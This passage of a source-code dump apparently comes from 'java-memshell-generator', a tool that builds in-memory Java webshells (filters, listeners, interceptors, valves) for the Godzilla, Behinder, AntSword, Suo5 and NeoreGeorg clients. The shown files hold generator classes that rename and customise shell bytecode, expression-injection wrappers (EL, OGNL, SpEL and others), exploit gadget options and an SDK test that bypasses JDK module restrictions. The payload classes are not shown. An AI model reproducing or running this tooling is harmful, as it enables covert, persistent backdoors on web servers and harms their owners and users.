GodzillaWebFluxHandlerMethod.class.getName()); 35 | SHELL_CLASSNAME_MAP.put(GodzillaJakartaFilter.class.getSimpleName(), GodzillaJakartaFilter.class.getName()); 36 | SHELL_CLASSNAME_MAP.put(GodzillaJakartaListener.class.getSimpleName(), GodzillaJakartaListener.class.getName()); 37 | SHELL_CLASSNAME_MAP.put(GodzillaValve.class.getSimpleName(), GodzillaValve.class.getName()); 38 | 39 | Map godzillaMap = new HashMap(); 40 | godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName()); 41 | godzillaMap.put(Constants.SHELL_LISTENER, GodzillaListener.class.getSimpleName()); 42 | godzillaMap.put(Constants.SHELL_INTERCEPTOR, GodzillaInterceptor.class.getSimpleName()); 43 | godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName()); 44 | godzillaMap.put(Constants.SHELL_JAKARTA_FILTER, GodzillaJakartaFilter.class.getSimpleName()); 45 | godzillaMap.put(Constants.SHELL_JAKARTA_LISTENER, GodzillaJakartaListener.class.getSimpleName()); 46 | godzillaMap.put(Constants.SHELL_VALVE, GodzillaValve.class.getSimpleName()); 47 | 48 | toolMap.put(Constants.TOOL_GODZILLA, godzillaMap); 49 | } 50 | 51 | 52 | } 53 | -------------------------------------------------------------------------------- /jmg-gui/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4 | java-memshell-generator 5 | jmg 6 | 1.0.9 7 | 8 | 4.0.0 9 | jmg-gui 10 | 11 | 12 | ${parent.groupId} 13 | jmg-core 14 | ${parent.version} 15 | compile 16 | 17 | 23 | 24 | me.gv7.woodpecker 25 | jexpr-encoder-utils 26 | 0.2.2 27 | 28 | 29 | com.intellij 30 | forms_rt 31 | 7.0.3 32 | 33 | 34 | com.formdev 35 | flatlaf 36 | 3.1 37 | 38 | 39 | ${parent.groupId} 40 | jmg-behinder 41 | ${parent.version} 42 | compile 43 | 44 | 45 | ${parent.groupId} 46 | jmg-antsword 47 | ${parent.version} 48 | compile 49 | 50 | 51 | ${parent.groupId} 52 | jmg-godzilla 53 | ${parent.version} 54 | compile 55 | 56 | 57 | ${parent.groupId} 58 | jmg-suo5 59 | ${parent.version} 60 | compile 61 | 62 | 63 | ${parent.groupId} 64 | jmg-neoregeorg 65 | ${parent.version} 66 | compile 67 | 68 | 69 | ${parent.groupId} 70 | jmg-custom 71 | ${parent.version} 72 | compile 73 | 74 | 75 | 76 | 77 | 78 | 79 | org.apache.maven.plugins 80 | maven-assembly-plugin 81 | 3.6.0 82 | 83 | 84 | jar-with-dependencies 85 | 86 | 87 | 88 | jmg.gui.GUIApp 89 | 90 | 91 | false 92 | ../releases 93 | 94 | 95 | 96 | make-assembly 97 | package 98 | 99 | single 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /jmg-gui/src/main/java/jmg/gui/GUIApp.java: -------------------------------------------------------------------------------- 1 | package jmg.gui; 2 | 3 | import com.formdev.flatlaf.FlatLightLaf; 4 | import jmg.gui.form.jMGForm; 5 | 6 | import javax.swing.*; 7 | 8 | public class GUIApp { 9 | public static void main(String[] args) { 10 | FlatLightLaf.setup(); 11 | SwingUtilities.invokeLater(GUIApp::createAndShowGUI); 12 | } 13 | 14 | private static void createAndShowGUI() { 15 | jMGForm.start(); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /jmg-gui/src/main/java/jmg/gui/util/ComponentUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.gui.util; 2 | 3 | import javax.swing.*; 4 | import javax.swing.event.DocumentEvent; 5 | import javax.swing.event.DocumentListener; 6 | import javax.swing.text.JTextComponent; 7 | import javax.swing.text.SimpleAttributeSet; 8 | import javax.swing.text.StyleConstants; 9 | import java.awt.*; 10 | import java.awt.event.ItemEvent; 11 | import java.awt.event.ItemListener; 12 | import java.util.function.Consumer; 13 | 14 | public class ComponentUtil { 15 | public static DocumentListener createDocumentListener(JTextComponent textField, Consumer updateFunction) { 16 | return new DocumentListener() { 17 | @Override 18 | public void insertUpdate(DocumentEvent e) { 19 | updateText(); 20 | } 21 | 22 | @Override 23 | public void removeUpdate(DocumentEvent e) { 24 | updateText(); 25 | } 26 | 27 | @Override 28 | public void changedUpdate(DocumentEvent e) { 29 | // 文本改变时触发(对于普通文本字段可以忽略) 30 | } 31 | 32 | private void updateText() { 33 | String text = textField.getText(); 34 | if (text.isEmpty()) { 35 | updateFunction.accept(null); 36 | } else { 37 | updateFunction.accept(text); 38 | } 39 | } 40 | }; 41 | } 42 | 43 | /** 44 | * 恢复滚动条位置 45 | * @param scrollPane 46 | */ 47 | public static void restoreScrollPosition(JScrollPane scrollPane) { 48 | try { 49 | // windows 下窗口闪动 50 | scrollPane.setDoubleBuffered(true); 51 | int scrollValue = scrollPane.getVerticalScrollBar().getValue(); 52 | SwingUtilities.invokeLater(() -> { 53 | scrollPane.getVerticalScrollBar().setValue(scrollValue); 54 | }); 55 | } catch (Exception ignored) { 56 | } catch (Throwable e) { 57 | throw new RuntimeException(e); 58 | } 59 | } 60 | 61 | 62 | public static void setTextIfNotEmpty(JTextComponent component, Consumer setter) { 63 | String text = component.getText().trim(); 64 | if (!text.isEmpty()) { 65 | setter.accept(text); 66 | } 67 | } 68 | 69 | public static SimpleAttributeSet createSimpleAttributeSet(Color foregroundColor) { 70 | SimpleAttributeSet attributeSet = new SimpleAttributeSet(); 71 | StyleConstants.setBold(attributeSet, true); 72 | StyleConstants.setItalic(attributeSet, false); 73 | StyleConstants.setForeground(attributeSet, foregroundColor); 74 | return attributeSet; 75 | } 76 | 77 | 78 | } 79 | -------------------------------------------------------------------------------- /jmg-gui/src/main/java/jmg/gui/util/JExprUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.gui.util; 2 | 3 | import me.gv7.woodpecker.plugin.exprs.*; 4 | import jmg.core.config.AbstractConfig; 5 | 6 | public class JExprUtil { 7 | public static String[] genExprPayload(AbstractConfig config){ 8 | byte[] bytes = config.getInjectorBytes(); 9 | switch (config.getExprEncoder()){ 10 | case "EL": 11 | return new ELExpr().genMemShell(bytes); 12 | case "FreeMarker": 13 | return new FreeMarkerExpr().genMemShell(bytes); 14 | case "OGNL": 15 | return new OGNLExpr().genMemShell(bytes); 16 | case "SpEL": 17 | return new SpELExpr().genMemShell(bytes); 18 | case "Velocity": 19 | return new VelocityExpr().genMemShell(bytes); 20 | case "ScriptEngineManager(JS)": 21 | return new ScriptEngineManagerExpr().genMemShell(bytes); 22 | } 23 | return null; 24 | } 25 | 26 | public static void printResult(String[] results) throws Exception { 27 | if (results != null && results.length > 0) { 28 | String[] var3 = results; 29 | int var4 = results.length; 30 | 31 | for(int var5 = 0; var5 < var4; ++var5) { 32 | String result = var3[var5]; 33 | TextPaneUtil.successPrintln(result); 34 | } 35 | } else { 36 | TextPaneUtil.warningPrintln("暂不支持\n"); 37 | } 38 | 39 | } 40 | } -------------------------------------------------------------------------------- /jmg-gui/src/main/java/jmg/gui/util/ShellGeneratorUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.gui.util; 2 | 3 | import jmg.antsword.generator.AntSwordGenerator; 4 | import jmg.behinder.generator.BehinderGenerator; 5 | import jmg.core.config.AbstractConfig; 6 | import jmg.core.config.Constants; 7 | import jmg.core.generator.IShellGenerator; 8 | import jmg.custom.generator.CustomGenerator; 9 | import jmg.godzilla.generator.GodzillaGenerator; 10 | import jmg.neoregeorg.generator.NeoreGeorgGenerator; 11 | import jmg.suo5.generator.Suo5Generator; 12 | 13 | public class ShellGeneratorUtil { 14 | IShellGenerator shellGenerator; 15 | 16 | public void makeShell(AbstractConfig config) throws Exception { 17 | switch (config.getToolType()) { 18 | case Constants.TOOL_ANTSWORD: 19 | shellGenerator = new AntSwordGenerator(); 20 | break; 21 | case Constants.TOOL_BEHINDER: 22 | shellGenerator = new BehinderGenerator(); 23 | break; 24 | case Constants.TOOL_GODZILLA: 25 | shellGenerator = new GodzillaGenerator(); 26 | break; 27 | case Constants.TOOL_SUO5: 28 | shellGenerator = new Suo5Generator(); 29 | break; 30 | case Constants.TOOL_NEOREGEORG: 31 | shellGenerator = new NeoreGeorgGenerator(); 32 | break; 33 | case Constants.TOOL_CUSTOM: 34 | shellGenerator = new CustomGenerator(); 35 | break; 36 | default: 37 | throw new IllegalArgumentException("Unsupported tool type: " + config.getToolType()); 38 | } 39 | shellGenerator.makeShell(config); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /jmg-gui/src/main/resources/messages_en.properties: -------------------------------------------------------------------------------- 1 | format.text=Output Format 2 | generate.text=Generate 3 | headerName.text=Header Key 4 | headerValue.text=Header Value 5 | injectorClsName.text=Injector Class Name 6 | key.text=Key 7 | pass.text=Password 8 | server.text=Server Type 9 | shell.text=Shell Type 10 | shellClsName.text=Shell Class Name 11 | tool.text=Tool Type 12 | uri.text=Request URI 13 | gadget.text=Enable Gadget Wrapping 14 | expr.text=Enable Expr Wrapping -------------------------------------------------------------------------------- /jmg-gui/src/main/resources/messages_en.properties.bak: -------------------------------------------------------------------------------- 1 | format.text=Output Format 2 | generate.text=Generate 3 | headerName.text=Request Header Key 4 | headerValue.text=Request Header Value 5 | injectorClsName.text=Injector Class Name 6 | key.text=Key 7 | pass.text=Password 8 | server.text=Server Type 9 | shell.text=Shell Type 10 | shellClsName.text=Shell Class Name 11 | tool.text=Tool Type 12 | uri.text=Request URI 13 | gadget.text=Enable Gadget Wrapping 14 | expr.text=Enable Expr Wrapping -------------------------------------------------------------------------------- /jmg-gui/src/main/resources/messages_zh.properties: -------------------------------------------------------------------------------- 1 | format.text=\u8F93\u51FA\u683C\u5F0F 2 | generate.text=\u751F\u6210 3 | headerName.text=\u8BF7\u6C42\u5934\u952E 4 | headerValue.text=\u8BF7\u6C42\u5934\u503C 5 | injectorClsName.text=\u6CE8\u5165\u5668\u7C7B\u540D 6 | key.text=\u5BC6\u94A5 7 | pass.text=\u5BC6\u7801 8 | server.text=\u4E2D\u95F4\u4EF6/\u6846\u67B6 9 | shell.text=\u7EC4\u4EF6\u7C7B\u578B 10 | shellClsName.text=\u5185\u5B58\u9A6C\u7C7B\u540D 11 | tool.text=\u5DE5\u5177\u7C7B\u578B 12 | uri.text=\u8BF7\u6C42\u8DEF\u5F84 13 | gadget.text=\u4E13\u9879\u6F0F\u6D1E\u5C01\u88C5 14 | expr.text=\u8868\u8FBE\u5F0F\u8BED\u53E5\u5C01\u88C5 15 | -------------------------------------------------------------------------------- /jmg-gui/src/main/resources/messages_zh.properties.bak: -------------------------------------------------------------------------------- 1 | format.text=输出格式 2 | generate.text=生成 3 | headerName.text=请求头键 4 | headerValue.text=请求头值 5 | injectorClsName.text=注入器类名 6 | key.text=密钥 7 | pass.text=密码 8 | server.text=中间件/框架 9 | shell.text=组件类型 10 | shellClsName.text=内存马类名 11 | tool.text=工具类型 12 | uri.text=请求路径 13 | gadget.text=专项漏洞封装 14 | expr.text=表达式语句封装 15 | -------------------------------------------------------------------------------- /jmg-neoregeorg/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 | 1.0.9 8 | 9 | jmg-neoregeorg 10 | 11 | 12 | 13 | 14 | ${parent.groupId} 15 | jmg-core 16 | ${parent.version} 17 | compile 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /jmg-neoregeorg/src/main/java/jmg/neoregeorg/generator/NeoreGeorgGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.neoregeorg.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.CtClass; 5 | 6 | import jmg.core.config.AbstractConfig; 7 | import jmg.core.config.Constants; 8 | import jmg.core.generator.IShellGenerator; 9 | import jmg.core.util.CommonUtil; 10 | import jmg.core.util.JavassistUtil; 11 | import jmg.core.util.ResponseUtil; 12 | import jmg.neoregeorg.util.ShellUtil; 13 | 14 | public class NeoreGeorgGenerator implements IShellGenerator { 15 | 16 | @Override 17 | public void initShell(AbstractConfig config) { 18 | config.setKey("key"); 19 | } 20 | 21 | @Override 22 | public byte[] makeShell(AbstractConfig config) throws Exception { 23 | initShell(config); 24 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); 25 | String shellClassName = ShellUtil.getShellClassName(shellName); 26 | byte[] bytes = modifyShell(shellClassName, config); 27 | config.setShellBytes(bytes); 28 | config.setShellBytesLength(bytes.length); 29 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); 30 | return bytes; 31 | } 32 | 33 | @Override 34 | public byte[] modifyShell(String className, AbstractConfig config) { 35 | byte[] bytes = new byte[0]; 36 | try { 37 | pool.insertClassPath(new ClassClassPath(NeoreGeorgGenerator.class)); 38 | CtClass ctClass = pool.getCtClass(className); 39 | ctClass.getClassFile().setVersionToJava5(); 40 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); 41 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); 42 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); 43 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) { 44 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 45 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 46 | } 47 | if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) { 48 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 49 | methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet."); 50 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 51 | } 52 | JavassistUtil.removeSourceFileAttribute(ctClass); 53 | bytes = ctClass.toBytecode(); 54 | ctClass.detach(); 55 | } catch (Exception e) { 56 | e.printStackTrace(); 57 | throw new RuntimeException(e); 58 | } 59 | return bytes; 60 | } 61 | 62 | } 63 | -------------------------------------------------------------------------------- /jmg-neoregeorg/src/main/java/jmg/neoregeorg/util/ShellUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.neoregeorg.util; 2 | 3 | import jmg.core.config.Constants; 4 | import jmg.neoregeorg.memshell.*; 5 | 6 | import java.util.HashMap; 7 | import java.util.Map; 8 | 9 | public class ShellUtil { 10 | 11 | private static final Map SHELL_CLASSNAME_MAP = new HashMap(); 12 | private static final Map> toolMap = new HashMap(); 13 | 14 | public ShellUtil() { 15 | } 16 | 17 | public static String getShellName(String toolType, String shellType) { 18 | Map shellMap = toolMap.get(toolType); 19 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); 20 | } 21 | 22 | public static String getShellClassName(String shellName) throws Exception { 23 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) { 24 | throw new Exception("Invalid shell type '" + shellName + "'"); 25 | } else { 26 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); 27 | } 28 | } 29 | 30 | static { 31 | SHELL_CLASSNAME_MAP.put(NeoreGeorgListener.class.getSimpleName(), NeoreGeorgListener.class.getName()); 32 | SHELL_CLASSNAME_MAP.put(NeoreGeorgFilter.class.getSimpleName(), NeoreGeorgFilter.class.getName()); 33 | SHELL_CLASSNAME_MAP.put(NeoreGeorgInterceptor.class.getSimpleName(), NeoreGeorgInterceptor.class.getName()); 34 | SHELL_CLASSNAME_MAP.put(NeoreGeorgJakartaListener.class.getSimpleName(), NeoreGeorgJakartaListener.class.getName()); 35 | SHELL_CLASSNAME_MAP.put(NeoreGeorgJakartaFilter.class.getSimpleName(), NeoreGeorgJakartaFilter.class.getName()); 36 | 37 | Map regeorgMap = new HashMap(); 38 | regeorgMap.put(Constants.SHELL_FILTER, NeoreGeorgFilter.class.getSimpleName()); 39 | regeorgMap.put(Constants.SHELL_LISTENER, NeoreGeorgListener.class.getSimpleName()); 40 | regeorgMap.put(Constants.SHELL_INTERCEPTOR, NeoreGeorgInterceptor.class.getSimpleName()); 41 | regeorgMap.put(Constants.SHELL_JAKARTA_FILTER, NeoreGeorgJakartaFilter.class.getSimpleName()); 42 | regeorgMap.put(Constants.SHELL_JAKARTA_LISTENER, NeoreGeorgJakartaListener.class.getSimpleName()); 43 | toolMap.put(Constants.TOOL_NEOREGEORG, regeorgMap); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /jmg-sdk/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | 8 | jmg 9 | java-memshell-generator 10 | 1.0.9 11 | 12 | 13 | jmg-sdk 14 | 15 | 16 | 8 17 | 8 18 | UTF-8 19 | 20 | 21 | 22 | ${parent.groupId} 23 | jmg-core 24 | ${parent.version} 25 | compile 26 | 27 | 28 | ${parent.groupId} 29 | jmg-antsword 30 | ${parent.version} 31 | compile 32 | 33 | 34 | ${parent.groupId} 35 | jmg-behinder 36 | ${parent.version} 37 | compile 38 | 39 | 40 | ${parent.groupId} 41 | jmg-custom 42 | ${parent.version} 43 | compile 44 | 45 | 46 | ${parent.groupId} 47 | jmg-godzilla 48 | ${parent.version} 49 | compile 50 | 51 | 52 | ${parent.groupId} 53 | jmg-extender 54 | ${parent.version} 55 | compile 56 | 57 | 58 | ${parent.groupId} 59 | jmg-neoregeorg 60 | ${parent.version} 61 | compile 62 | 63 | 64 | ${parent.groupId} 65 | jmg-suo5 66 | ${parent.version} 67 | compile 68 | 69 | 70 | 71 | 72 | 73 | 74 | org.apache.maven.plugins 75 | maven-assembly-plugin 76 | 3.6.0 77 | 78 | false 79 | ../releases 80 | 81 | 82 | 83 | 84 | -------------------------------------------------------------------------------- /jmg-sdk/src/main/java/jmg/sdk/jMGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.sdk; 2 | 3 | import jmg.core.config.AbstractConfig; 4 | import jmg.core.config.Constants; 5 | import jmg.core.generator.InjectorGenerator; 6 | import jmg.core.util.CommonUtil; 7 | import jmg.sdk.util.ShellGenerator; 8 | 9 | 10 | public class jMGenerator { 11 | 12 | private AbstractConfig config; 13 | 14 | public jMGenerator(AbstractConfig config) { 15 | this.config = config; 16 | 17 | } 18 | 19 | /** 20 | * 生成内存马字节流、注入器字节流 21 | */ 22 | public void genPayload() throws Exception { 23 | new ShellGenerator().makeShell(this.config); 24 | new InjectorGenerator().makeInjector(this.config); 25 | } 26 | 27 | /** 28 | * 内存马字节流 29 | */ 30 | public byte[] getShellBytes() { 31 | return this.config.getShellBytes(); 32 | } 33 | 34 | /** 35 | * 注入器字节流 36 | */ 37 | public byte[] getInjectorBytes() { 38 | return this.config.getInjectorBytes(); 39 | } 40 | 41 | public void printPayload() { 42 | System.out.println("配置信息:"); 43 | System.out.println(this.config.getToolType() + " " + this.config.getServerType() + " " + this.config.getShellType() + " " + this.config.getOutputFormat() + "\n"); 44 | System.out.println("结果输出:"); 45 | System.out.println(this.formatPayload()); 46 | System.out.println(); 47 | } 48 | 49 | /** 50 | * 处理注入器字节流 51 | */ 52 | public String formatPayload() { 53 | switch (config.getOutputFormat()) { 54 | case Constants.FORMAT_CLASS: 55 | case Constants.FORMAT_JSP: 56 | case Constants.FORMAT_JAR: 57 | case Constants.FORMAT_JAR_AGENT: 58 | try { 59 | CommonUtil.transformToFile(config); 60 | return config.getSavePath(); 61 | } catch (Throwable e) { 62 | } 63 | break; 64 | case Constants.FORMAT_BCEL: 65 | case Constants.FORMAT_JS: 66 | case Constants.FORMAT_BASE64: 67 | case Constants.FORMAT_BIGINTEGER: 68 | try { 69 | return CommonUtil.transformTotext(config); 70 | } catch (Throwable e) { 71 | } 72 | break; 73 | } 74 | return ""; 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /jmg-sdk/src/main/java/jmg/sdk/util/ShellGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.sdk.util; 2 | 3 | import jmg.antsword.generator.AntSwordGenerator; 4 | import jmg.behinder.generator.BehinderGenerator; 5 | import jmg.core.config.AbstractConfig; 6 | import jmg.core.config.Constants; 7 | import jmg.core.generator.IShellGenerator; 8 | import jmg.custom.generator.CustomGenerator; 9 | import jmg.godzilla.generator.GodzillaGenerator; 10 | import jmg.neoregeorg.generator.NeoreGeorgGenerator; 11 | import jmg.suo5.generator.Suo5Generator; 12 | 13 | public class ShellGenerator { 14 | IShellGenerator shellGenerator; 15 | 16 | public void makeShell(AbstractConfig config) throws Exception { 17 | switch (config.getToolType()) { 18 | case Constants.TOOL_ANTSWORD: 19 | shellGenerator = new AntSwordGenerator(); 20 | break; 21 | case Constants.TOOL_BEHINDER: 22 | shellGenerator = new BehinderGenerator(); 23 | break; 24 | case Constants.TOOL_GODZILLA: 25 | shellGenerator = new GodzillaGenerator(); 26 | break; 27 | case Constants.TOOL_SUO5: 28 | shellGenerator = new Suo5Generator(); 29 | break; 30 | case Constants.TOOL_NEOREGEORG: 31 | shellGenerator = new NeoreGeorgGenerator(); 32 | break; 33 | case Constants.TOOL_CUSTOM: 34 | shellGenerator = new CustomGenerator(); 35 | break; 36 | default: 37 | throw new IllegalArgumentException("Unsupported tool type: " + config.getToolType()); 38 | } 39 | shellGenerator.makeShell(config); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /jmg-sdk/src/test/java/SDKTest.java: -------------------------------------------------------------------------------- 1 | import jmg.core.config.AbstractConfig; 2 | import jmg.core.config.Constants; 3 | import jmg.sdk.jMGenerator; 4 | import jmg.sdk.util.SDKResultUtil; 5 | import me.gv7.woodpecker.tools.common.FileUtil; 6 | 7 | /* 8 | 1、将 java-memshell-generator 和 jmg-sdk 安装到本地 maven 仓库 9 | 1) mvn install:install-file -Dfile=java-memshell-generator--jar-with-dependencies -DgroupId=jmg -DartifactId=java-memshell-generator -Dversion= -Dpackaging=jar 10 | 2) mvn install:install-file -Dfile=jmg-sdk--jar-with-dependencies.jar -DgroupId=jmg -DartifactId=jmg-sdk -Dversion= -Dpackaging=jar 11 | 12 | 2、引入自己的框架/工具的依赖中 13 | 14 | jmg 15 | jmg-sdk 16 | 1.0.8 17 | 18 | 19 | */ 20 | public class SDKTest { 21 | public static void main(String[] args) throws Throwable { 22 | // 必需的基础配置 23 | AbstractConfig config = new AbstractConfig() {{ 24 | // 设置工具类型 25 | setToolType(Constants.TOOL_BEHINDER); 26 | // 设置中间件 or 框架 27 | setServerType(Constants.SERVER_TOMCAT); 28 | // 设置内存马类型 29 | setShellType(Constants.SHELL_JAKARTA_LISTENER); 30 | // 设置输出格式为 BASE64 31 | setOutputFormat(Constants.FORMAT_BASE64); 32 | // 设置漏洞利用封装,默认不启用 33 | setGadgetType(Constants.GADGET_NONE); 34 | // 初始化基础配置 35 | build(); 36 | }}; 37 | 38 | // 绕过 JDK Module 访问限制 39 | config.setEnableBypassJDKModule(true); 40 | jMGenerator generator = new jMGenerator(config); 41 | generator.genPayload(); 42 | 43 | FileUtil.writeFile("shell.class",config.getShellBytes()); 44 | FileUtil.writeFile("injector.class",config.getInjectorBytes()); 45 | generator.printPayload(); 46 | 47 | 48 | // 连接信息 49 | SDKResultUtil.printBasicInfo(config); 50 | SDKResultUtil.printDebugInfo(config); 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /jmg-suo5/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 | 1.0.9 8 | 9 | jmg-suo5 10 | 11 | 12 | 13 | 14 | ${parent.groupId} 15 | jmg-core 16 | ${parent.version} 17 | compile 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /jmg-suo5/src/main/java/jmg/suo5/generator/Suo5Generator.java: -------------------------------------------------------------------------------- 1 | package jmg.suo5.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.CtClass; 5 | import jmg.core.config.AbstractConfig; 6 | import jmg.core.config.Constants; 7 | import jmg.core.generator.IShellGenerator; 8 | import jmg.suo5.util.ShellUtil; 9 | import jmg.core.util.CommonUtil; 10 | import jmg.core.util.JavassistUtil; 11 | import jmg.core.util.ResponseUtil; 12 | import me.gv7.woodpecker.tools.common.FileUtil; 13 | 14 | public class Suo5Generator implements IShellGenerator { 15 | 16 | 17 | @Override 18 | public void initShell(AbstractConfig config) { 19 | 20 | } 21 | 22 | @Override 23 | public byte[] makeShell(AbstractConfig config) throws Exception { 24 | initShell(config); 25 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); 26 | String shellClassName = ShellUtil.getShellClassName(shellName); 27 | byte[] bytes = modifyShell(shellClassName, config); 28 | config.setShellBytes(bytes); 29 | config.setShellBytesLength(bytes.length); 30 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); 31 | return bytes; 32 | } 33 | 34 | @Override 35 | public byte[] modifyShell(String className, AbstractConfig config) { 36 | byte[] bytes = new byte[0]; 37 | try { 38 | pool.insertClassPath(new ClassClassPath(Suo5Generator.class)); 39 | CtClass ctClass = pool.getCtClass(className); 40 | ctClass.getClassFile().setVersionToJava5(); 41 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); 42 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); 43 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); 44 | 45 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) { 46 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 47 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 48 | } 49 | if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) { 50 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 51 | methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet."); 52 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 53 | } 54 | JavassistUtil.removeSourceFileAttribute(ctClass); 55 | bytes = ctClass.toBytecode(); 56 | ctClass.detach(); 57 | } catch (Exception e) { 58 | e.printStackTrace(); 59 | throw new RuntimeException(e); 60 | } 61 | return bytes; 62 | } 63 | 64 | } 65 | -------------------------------------------------------------------------------- /jmg-suo5/src/main/java/jmg/suo5/util/ShellUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.suo5.util; 2 | 3 | import jmg.core.config.Constants; 4 | import jmg.suo5.memshell.*; 5 | 6 | import java.util.HashMap; 7 | import java.util.Map; 8 | 9 | public class ShellUtil { 10 | 11 | private static final Map SHELL_CLASSNAME_MAP = new HashMap(); 12 | private static final Map> toolMap = new HashMap(); 13 | 14 | public ShellUtil() { 15 | } 16 | 17 | public static String getShellName(String toolType, String shellType) { 18 | Map shellMap = toolMap.get(toolType); 19 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); 20 | } 21 | 22 | public static String getShellClassName(String shellName) throws Exception { 23 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) { 24 | throw new Exception("Invalid shell type '" + shellName + "'"); 25 | } else { 26 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); 27 | } 28 | } 29 | 30 | static { 31 | SHELL_CLASSNAME_MAP.put(Suo5Listener.class.getSimpleName(), Suo5Listener.class.getName()); 32 | SHELL_CLASSNAME_MAP.put(Suo5Filter.class.getSimpleName(), Suo5Filter.class.getName()); 33 | SHELL_CLASSNAME_MAP.put(Suo5Interceptor.class.getSimpleName(), Suo5Interceptor.class.getName()); 34 | SHELL_CLASSNAME_MAP.put(Suo5JakartaListener.class.getSimpleName(), Suo5JakartaListener.class.getName()); 35 | SHELL_CLASSNAME_MAP.put(Suo5JakartaFilter.class.getSimpleName(), Suo5JakartaFilter.class.getName()); 36 | 37 | Map suo5Map = new HashMap(); 38 | suo5Map.put(Constants.SHELL_FILTER, Suo5Filter.class.getSimpleName()); 39 | suo5Map.put(Constants.SHELL_LISTENER, Suo5Listener.class.getSimpleName()); 40 | suo5Map.put(Constants.SHELL_INTERCEPTOR, Suo5Interceptor.class.getSimpleName()); 41 | suo5Map.put(Constants.SHELL_JAKARTA_FILTER, Suo5JakartaFilter.class.getSimpleName()); 42 | suo5Map.put(Constants.SHELL_JAKARTA_LISTENER, Suo5JakartaListener.class.getSimpleName()); 43 | toolMap.put(Constants.TOOL_SUO5, suo5Map); 44 | } 45 | 46 | 47 | } 48 | -------------------------------------------------------------------------------- /jmg-woodpecker/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | jmg 8 | java-memshell-generator 9 | 1.0.9 10 | 11 | 12 | jmg-woodpecker 13 | 14 | 15 | UTF-8 16 | 17 | 18 | 19 | 20 | ${parent.groupId} 21 | jmg-core 22 | ${parent.version} 23 | compile 24 | 25 | 26 | ${parent.groupId} 27 | jmg-antsword 28 | ${parent.version} 29 | compile 30 | 31 | 32 | ${parent.groupId} 33 | jmg-behinder 34 | ${parent.version} 35 | compile 36 | 37 | 38 | ${parent.groupId} 39 | jmg-custom 40 | ${parent.version} 41 | compile 42 | 43 | 44 | ${parent.groupId} 45 | jmg-godzilla 46 | ${parent.version} 47 | compile 48 | 49 | 50 | ${parent.groupId} 51 | jmg-extender 52 | ${parent.version} 53 | compile 54 | 55 | 56 | ${parent.groupId} 57 | jmg-neoregeorg 58 | ${parent.version} 59 | compile 60 | 61 | 62 | ${parent.groupId} 63 | jmg-suo5 64 | ${parent.version} 65 | compile 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | org.apache.maven.plugins 74 | maven-assembly-plugin 75 | 3.6.0 76 | 77 | false 78 | ../releases 79 | 80 | 81 | 82 | 83 | -------------------------------------------------------------------------------- /jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/AntSwordHelper.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.helper; 2 | 3 | 4 | import jmg.antsword.generator.AntSwordGenerator; 5 | import jmg.core.config.AbstractConfig; 6 | import jmg.core.config.Constants; 7 